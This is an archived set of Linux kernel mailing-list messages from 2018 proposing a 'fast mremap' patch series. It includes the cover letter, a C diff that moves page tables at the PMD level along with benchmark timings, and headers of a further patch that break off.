Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 0/4] Add support for fast mremap
Date: Fri, 12 Oct 2018 18:31:56 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <20181013013200.206928-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539394240 14934 195.159.176.226 (13 Oct 2018 01:30:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:30:40 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begem
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Oct 13 03:30:31 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB8lC-0003g5-Qh
	for gla-linux-snps-arc@m.gmane.org; Sat, 13 Oct 2018 03:30:31 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:Message-Id:Date:Subject:To
	:From:Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
	Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:
	List-Owner; bh=WqfF1osfz3odJ6JisQVd+yQEnCfayUSwhL7gk2pPWbM=; b=bwCabPjZEW0lja
	mH1Ujfsgj1+AsALI3Jufake9GCe4m7CjcXCcGfD3Ged0AWiABinUUa+W0vooUkRUY3+91JT6Kxbe9
	N0UFRnfVzBrmY/1i4lZEyvIuUSpHGkjruEzzKv3dpXc86ocHzC+koibn3KJrHXoFtBCP+fkMxcrnc
	M8NNrjqToWkBZnltHHx7DpvBAy9B7Cb2+cu3v5lJX3E+oxgqgyL0TLsk7JgNVmtWuBUQqQVAr6g/B
	pUERSHhe/1PEIVMXkISIgfHx0D8Pa6KGVX+h+aZwza6U/hVw48RmwlHdWbkMyp+hw7mFRc4eJVrDE
	dqsb9kzF4VsF0G/CShBg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB8nF-0004QT-VJ; Sat, 13 Oct 2018 01:32:38 +0000
Original-Received: from mail-pf1-x442.google.com ([2607:f8b0:4864:20::442])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB8n8-0004Lp-HN
 for linux-snps-arc@lists.infradead.org; Sat, 13 Oct 2018 01:32:32 +0000
Original-Received: by mail-pf1-x442.google.com with SMTP id f78-v6so1244882pfe.1
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 18:32:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=/tt52pA472dSwsAAwQJ939rJwzTfqkSaNx9EwvICru0=;
 b=aZ2XsHZUVMUuO5DvSG7J3SKtJwMjFPFkNKSdOTMVPxEWZUBHqCq91bWsY5lJSZ5abW
 MspF88SV9xG3kBt1cxNpgjwLM9fjqG9Qr8THIveYjgxWMmIJI/3CsoQ1euVVO+u9jU3b
 84AjE6qoveKMUd+TSCAUYFppegkJuFE12F9Zo=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=/tt52pA472dSwsAAwQJ939rJwzTfqkSaNx9EwvICru0=;
 b=fgwnESvMrFvIw+nMWp5KlO1d0Xyqu25LFSgP1WFd9KgVlLcknwNgDfqCXMAXRYwBUi
 qq0snQMV5B+2XkguoNuokz4SGX+AZguVkJYuG16K/FrlU8Sxmb69TJZsTTXkZzFgEyg+
 oLCzcauGHT1CJfl010MUO3m9Eg0jY9REzdS7xyDHMpmLzhbANZ4DLLrDcPnbnEKPKBJy
 KqYTMzN4s4D6IijpWMdAr/THfyPPMwLxyEuo/Hfv3H66ULH3qKN1fQYxr7ZIsydjPsY+
 +6e3Prf8wAxUC4OrLg6DrRk+Za/KvEbPvydtBR3QGvQmEZ8qWT8O4Q21g6crwu8YNudx
 3sjw==
X-Gm-Message-State: ABuFfogl3sYe9irRMvvNCXiHzGkjvihXMlLMhkSriajXbX/DbWINhAA2
 uns/gsTMeyq1HsR9/6jAiOtWZQ==
X-Google-Smtp-Source: ACcGV63QPVBHwSaBapNX/Xe3if6+zBlb78Rh0S4DGfzofyGyhDp7+M5q3Vlq+GIpXS8LG6/GNUgmRw==
X-Received: by 2002:a63:ae4d:: with SMTP id
 e13-v6mr7685442pgp.315.1539394337561; 
 Fri, 12 Oct 2018 18:32:17 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id q7-v6sm6507828pfd.164.2018.10.12.18.32.14
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 18:32:16 -0700 (PDT)
X-Mailer: git-send-email 2.19.0.605.g01d371f741-goog
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_183230_626759_1BB56808 
X-CRM114-Status: GOOD (  11.76  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:442 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4542 gmane.linux.kernel:2898076 gmane.linux.ports.mips.general:67067 gmane.linux.ports.ia64:29393 gmane.linux.ports.sh.devel:57640 gmane.linux.kernel.mm:205235 gmane.linux.ports.riscv:1062 gmane.comp.emulators.kvm.arm.devel:19453 gmane.linux.ports.sparc:28567 gmane.linux.ports.hexagon:1915 gmane.linux.ports.parisc:29168 gmane.linux.ports.alpha:5317 gmane.linux.ports.ppc64.devel:164167
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4542>

Hi,
Here is the latest "fast mremap" series. The main change in this submission is
to enable the fast mremap optimization on a per-architecture basis to prevent
possible issues with architectures that may not behave well with such change.

x86: select HAVE_MOVE_PMD for faster mremap (v1)

arm64: select HAVE_MOVE_PMD for faster mremap (v1)

mm: speed up mremap by 500x on large regions (v2)
v1->v2: Added support for per-arch enablement (Kirill Shutemov)

treewide: remove unused address argument from pte_alloc functions (v2)
v1->v2: fix arch/um/ prototype which was missed in v1 (Anton Ivanov)
        update changelog with manual fixups for m68k and microblaze.

Joel Fernandes (Google) (4):
  treewide: remove unused address argument from pte_alloc functions (v2)
  mm: speed up mremap by 500x on large regions (v2)
  arm64: select HAVE_MOVE_PMD for faster mremap (v1)
  x86: select HAVE_MOVE_PMD for faster mremap (v1)

 arch/Kconfig                                 |  5 ++
 arch/alpha/include/asm/pgalloc.h             |  6 +-
 arch/arc/include/asm/pgalloc.h               |  5 +-
 arch/arm/include/asm/pgalloc.h               |  4 +-
 arch/arm64/Kconfig                           |  1 +
 arch/arm64/include/asm/pgalloc.h             |  4 +-
 arch/hexagon/include/asm/pgalloc.h           |  6 +-
 arch/ia64/include/asm/pgalloc.h              |  5 +-
 arch/m68k/include/asm/mcf_pgalloc.h          |  8 +--
 arch/m68k/include/asm/motorola_pgalloc.h     |  4 +-
 arch/m68k/include/asm/sun3_pgalloc.h         |  6 +-
 arch/microblaze/include/asm/pgalloc.h        | 19 +-----
 arch/microblaze/mm/pgtable.c                 |  3 +-
 arch/mips/include/asm/pgalloc.h              |  6 +-
 arch/nds32/include/asm/pgalloc.h             |  5 +-
 arch/nios2/include/asm/pgalloc.h             |  6 +-
 arch/openrisc/include/asm/pgalloc.h          |  5 +-
 arch/openrisc/mm/ioremap.c                   |  3 +-
 arch/parisc/include/asm/pgalloc.h            |  4 +-
 arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 +-
 arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 ++--
 arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 +-
 arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 +-
 arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
 arch/powerpc/mm/pgtable_32.c                 |  4 +-
 arch/riscv/include/asm/pgalloc.h             |  6 +-
 arch/s390/include/asm/pgalloc.h              |  4 +-
 arch/sh/include/asm/pgalloc.h                |  6 +-
 arch/sparc/include/asm/pgalloc_32.h          |  5 +-
 arch/sparc/include/asm/pgalloc_64.h          |  6 +-
 arch/sparc/mm/init_64.c                      |  6 +-
 arch/sparc/mm/srmmu.c                        |  4 +-
 arch/um/include/asm/pgalloc.h                |  4 +-
 arch/um/kernel/mem.c                         |  4 +-
 arch/unicore32/include/asm/pgalloc.h         |  4 +-
 arch/x86/Kconfig                             |  1 +
 arch/x86/include/asm/pgalloc.h               |  4 +-
 arch/x86/mm/pgtable.c                        |  4 +-
 arch/xtensa/include/asm/pgalloc.h            |  8 +--
 include/linux/mm.h                           | 13 ++--
 mm/huge_memory.c                             |  8 +--
 mm/kasan/kasan_init.c                        |  2 +-
 mm/memory.c                                  | 17 +++--
 mm/migrate.c                                 |  2 +-
 mm/mremap.c                                  | 67 +++++++++++++++++++-
 mm/userfaultfd.c                             |  2 +-
 virt/kvm/arm/mmu.c                           |  2 +-
 47 files changed, 169 insertions(+), 147 deletions(-)

-- 
2.19.0.605.g01d371f741-goog

From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Fri, 12 Oct 2018 18:31:58 -0700
Lines: 142
Approved: news@gmane.org
Message-ID: <20181013013200.206928-3-joel@joelfernandes.org>
References: <20181013013200.206928-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539394248 15322 195.159.176.226 (13 Oct 2018 01:30:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:30:48 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begem
To: linux-kernel@vger.kernel.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Sat Oct 13 03:30:39 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB8lJ-0003q2-Ow
	for glpr-linux-riscv@m.gmane.org; Sat, 13 Oct 2018 03:30:38 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=/vnqw4sThJiAQyUbqpdymRMr53qmEzFmrbmdARM0L38=; b=twlUZuuhbg0x3K
	pujOsvF1SSsW+OG7qm1PCH6Au0w0zBOAv7sA68A72GuGApgCnnGWEsJbbTtGfW0Pmwthi6+b+AQXC
	oOq5tg3mGprTGlbmN+4JSZZgOjqHHdrqWoU8UabVyQtEDs1KLkxQEwKkTnyVEWitIvhMrnHXGPxtA
	cptYNQ8dxKfvlbNiFbDKxnrkOdtg2pvE5mDDOexswJrPXDXiyHyufpOJZprvXK8/kXTa4n0YOq0fK
	RnsNpWhN9z+4gXeSDj+O6gxnBfRB7G8r9/q6pgUE6qET8426P47Ek9/zrEwxdJJXAGc2dWVDk2zWv
	EBbNeJ+2dXIofpJW9scQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB8nL-0004Sa-LB; Sat, 13 Oct 2018 01:32:43 +0000
Original-Received: from mail-pg1-x541.google.com ([2607:f8b0:4864:20::541])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB8n8-0004Ly-HW
 for linux-riscv@lists.infradead.org; Sat, 13 Oct 2018 01:32:37 +0000
Original-Received: by mail-pg1-x541.google.com with SMTP id n31-v6so6601107pgm.7
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 18:32:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=TuTZZG6t7Vpxk6hICMjuKsRejg5EuhIlnOB0TcQ6zaw=;
 b=lwmRep2sGNPNtJhgB9RsOPKTOOSB/krJ8anCRbmRRsLRPZ/Xgg8wtftrtImybZPJ9o
 ta6TKRrl0gc5jms/MCsxSVJ+O1Hrax3boWXjxUDfy0mAOjOPdatt+VtwlcaiJ8EZAXsz
 W1Bl/HdY1fIvlWc7La4wrjjn5Dnmh5o9mNT2I=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=TuTZZG6t7Vpxk6hICMjuKsRejg5EuhIlnOB0TcQ6zaw=;
 b=RQbYl4p/OxunEtC33gKB7lzisrV/6d/Ey8q4pPGyDfvNicSW3cUJf3+SjtFKjJHpnM
 S17LSAwCx/Vv67tFXm79/vlEjOGx1vkcbkUZLWYUZ0krGDA6Pg1mvJ+UhjJaX7A64ZbS
 iyE9GetrCNi9Ms7kV95B8qqSvo51INeKOdtAMIfDjqdA7Z0FIvjO4LUkhvAgpCfRtUUC
 +NvBYQbi50mhR+Yk6RgeqH+vUt3S2xB+SeQahwgwPYOAwqns2RfP4HRs+0RPv6YVtW97
 bFO9kF3b3Uwqm0r8n6gshmnDqGrBta13wGScKskfnPQr6yv6ZOxTgw4qNQBi2PPhk5UT
 z5ZQ==
X-Gm-Message-State: ABuFfojeLhuq/AD4x5Q/X24A4cV5EuUESH54zA/rzhrp01n9EZSDnewP
 tgFv5KHaBO0nSMcFzXHLPj8VJw==
X-Google-Smtp-Source: ACcGV61+9EmPtOdQGzTHjVGwLpiqYsmqyZ1bXa4NAgT6WNqQkE33CkAc0nRdLLEL017wJ1a4KyTnew==
X-Received: by 2002:a63:b08:: with SMTP id 8-v6mr7584652pgl.130.1539394343099; 
 Fri, 12 Oct 2018 18:32:23 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id q7-v6sm6507828pfd.164.2018.10.12.18.32.20
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 18:32:21 -0700 (PDT)
X-Mailer: git-send-email 2.19.0.605.g01d371f741-goog
In-Reply-To: <20181013013200.206928-1-joel@joelfernandes.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_183230_656833_AFDEDB5D 
X-CRM114-Status: GOOD (  17.68  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:541 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1063 gmane.linux.kernel:2898077 gmane.linux.ports.mips.general:67068 gmane.linux.ports.ia64:29394 gmane.linux.ports.sh.devel:57641 gmane.linux.kernel.mm:205236 gmane.comp.emulators.kvm.arm.devel:19454 gmane.linux.ports.sparc:28568 gmane.linux.ports.hexagon:1916 gmane.linux.kernel.arc:4543 gmane.linux.ports.parisc:29169 gmane.linux.ports.alpha:5318 gmane.linux.ports.ppc64.devel:164168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1063>

Android needs to mremap large regions of memory during memory management
related operations. The mremap system call can be really slow if THP is
not enabled. The bottleneck is move_page_tables, which is copying each
pte at a time, and can be really slow across a large map. Turning on THP
may not be a viable option, and is not for us. This patch speeds up the
performance for non-THP system by copying at the PMD level when possible.

The speed up is three orders of magnitude. On a 1GB mremap, the mremap
completion times drops from 160-250 millesconds to 380-400 microseconds.

Before:
Total mremap time for 1GB data: 242321014 nanoseconds.
Total mremap time for 1GB data: 196842467 nanoseconds.
Total mremap time for 1GB data: 167051162 nanoseconds.

After:
Total mremap time for 1GB data: 385781 nanoseconds.
Total mremap time for 1GB data: 388959 nanoseconds.
Total mremap time for 1GB data: 402813 nanoseconds.

Incase THP is enabled, the optimization is skipped. I also flush the
tlb every time we do this optimization since I couldn't find a way to
determine if the low-level PTEs are dirty. It is seen that the cost of
doing so is not much compared the improvement, on both x86-64 and arm64.

Cc: minchan@kernel.org
Cc: pantin@google.com
Cc: hughd@google.com
Cc: lokeshgidra@google.com
Cc: dancol@google.com
Cc: mhocko@kernel.org
Cc: kirill@shutemov.name
Cc: akpm@linux-foundation.org
Cc: kernel-team@android.com
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 arch/Kconfig |  5 ++++
 mm/mremap.c  | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 70 insertions(+)

diff --git a/arch/Kconfig b/arch/Kconfig
index 6801123932a5..9724fe39884f 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -518,6 +518,11 @@ config HAVE_IRQ_TIME_ACCOUNTING
 	  Archs need to ensure they use a high enough resolution clock to
 	  support irq time accounting and then call enable_sched_clock_irqtime().
 
+config HAVE_MOVE_PMD
+	bool
+	help
+	  Archs that select this are able to move page tables at the PMD level.
+
 config HAVE_ARCH_TRANSPARENT_HUGEPAGE
 	bool
 
diff --git a/mm/mremap.c b/mm/mremap.c
index 9e68a02a52b1..2fd163cff406 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
 		drop_rmap_locks(vma);
 }
 
+static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
+		  unsigned long new_addr, unsigned long old_end,
+		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
+{
+	spinlock_t *old_ptl, *new_ptl;
+	struct mm_struct *mm = vma->vm_mm;
+
+	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
+	    || old_end - old_addr < PMD_SIZE)
+		return false;
+
+	/*
+	 * The destination pmd shouldn't be established, free_pgtables()
+	 * should have release it.
+	 */
+	if (WARN_ON(!pmd_none(*new_pmd)))
+		return false;
+
+	/*
+	 * We don't have to worry about the ordering of src and dst
+	 * ptlocks because exclusive mmap_sem prevents deadlock.
+	 */
+	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
+	if (old_ptl) {
+		pmd_t pmd;
+
+		new_ptl = pmd_lockptr(mm, new_pmd);
+		if (new_ptl != old_ptl)
+			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
+
+		/* Clear the pmd */
+		pmd = *old_pmd;
+		pmd_clear(old_pmd);
+
+		VM_BUG_ON(!pmd_none(*new_pmd));
+
+		/* Set the new pmd */
+		set_pmd_at(mm, new_addr, new_pmd, pmd);
+		if (new_ptl != old_ptl)
+			spin_unlock(new_ptl);
+		spin_unlock(old_ptl);
+
+		*need_flush = true;
+		return true;
+	}
+	return false;
+}
+
 unsigned long move_page_tables(struct vm_area_struct *vma,
 		unsigned long old_addr, struct vm_area_struct *new_vma,
 		unsigned long new_addr, unsigned long len,
@@ -239,7 +287,24 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			split_huge_pmd(vma, old_pmd, old_addr);
 			if (pmd_trans_unstable(old_pmd))
 				continue;
+		} else if (extent == PMD_SIZE && IS_ENABLED(CONFIG_HAVE_MOVE_PMD)) {
+			/*
+			 * If the extent is PMD-sized, try to speed the move by
+			 * moving at the PMD level if possible.
+			 */
+			bool moved;
+
+			if (need_rmap_locks)
+				take_rmap_locks(vma);
+			moved = move_normal_pmd(vma, old_addr, new_addr,
+					old_end, old_pmd, new_pmd,
+					&need_flush);
+			if (need_rmap_locks)
+				drop_rmap_locks(vma);
+			if (moved)
+				continue;
 		}
+
 		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
-- 
2.19.0.605.g01d371f741-goog

From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 3/4] arm64: select HAVE_MOVE_PMD for faster mremap (v1)
Date: Fri, 12 Oct 2018 18:31:59 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20181013013200.206928-4-joel@joelfernandes.org>
References: <20181013013200.206928-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539394260 16080 195.159.176.226 (13 Oct 2018 01:31:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:31:00 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begem
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Oct 13 03:30:51 2018
